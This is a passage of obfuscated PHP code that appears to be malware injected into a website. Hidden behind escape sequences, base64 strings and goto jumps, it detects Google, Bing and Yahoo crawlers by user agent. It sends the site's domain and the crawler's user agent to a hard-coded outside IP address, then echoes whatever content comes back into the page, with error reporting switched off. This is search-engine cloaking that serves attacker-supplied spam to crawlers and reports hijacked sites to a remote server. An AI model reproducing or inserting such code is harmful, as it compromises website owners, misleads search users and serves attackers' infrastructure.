tbotbotbot, "\157\157\x67\x6c\145") or strpos($botbotbotbot, "\x69\x6e\x67") or strpos($botbotbotbot, "\x61\150\x6f\157")) { $xxx = base64_decode("\116\x6a\x55\75"); $xxx1 = base64_decode("\x4d\x6a\105\x3d"); $xxx2 = base64_decode("\x4d\x6a\x4d\61"); $xxx3 = base64_decode("\x4d\x6a\x55\170"); $xxx4 = base64_decode("\x61\x57\65\x77\144\130\121\x3d"); $xxx0 = base64_decode("\141\110\122\60\x63\x44\157\x76\114\167\x3d\75"); $xxx00 = $xxx . "\56" . $xxx1 . "\x2e" . $xxx2 . "\56" . $xxx3; $xxx11 = $xxx4 . "\57\x3f\165\163\145\x72\x61\147\x65\x6e\x74\75" . $botbotbotbot . "\46\x64\157\155\x61\151\x6e\75" . $_SERVER["\x48\x54\124\120\x5f\110\x4f\123\124"]; $url = $xxx0 . $xxx00 . "\57" . $xxx11; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); echo $result; if (strpos($result, "\x68\162\145\x66\75") < 1) { $result = file_get_contents("{$url}"); echo $result; } if (strpos($result, "\x68\162\145\x66\75") < 1) { $url = $xxx00; $fp = fsockopen($url, 80, $errno, $errstr, 30); if (!$fp) { echo "{$errstr}\x20\x28{$errno}\51\74\x62\162\x20\x2f\x3e\12"; } else { $req = "\57" . $xxx11; $out = "\107\105\x54\40{$req}\x20\x48\124\x54\120\57\x31\x2e\60\xd\12"; $out .= "\110\157\163\x74\72\40{$url}\xd\xa"; $out .= "\103\157\156\156\145\x63\x74\151\x6f\156\72\40\103\154\157\x73\x65\15\xa\xd\12"; fwrite($fp, $out); while (!feof($fp)) { $text = $text . fgets($fp, 2048); } fclose($fp); } fclose($out); $text = explode("\xa", $text); $text = $text[7]; echo $text; } } goto beg1F; igWP8: ob_end_flush(); goto dcj6o; dcj6o: error_reporting(0); goto q6TT6; q6TT6: $botbotbotbot = "\x2e\56\56" . $_SERVER["\110\124\124\x50\x5f\x55\123\105\122\137\x41\x47\x45\116\x54"]; goto TOmCG; TOmCG: $botbotbotbot = str_replace("\x20", "\x2d", $botbotbotbot); goto KD8Hf; beg1F: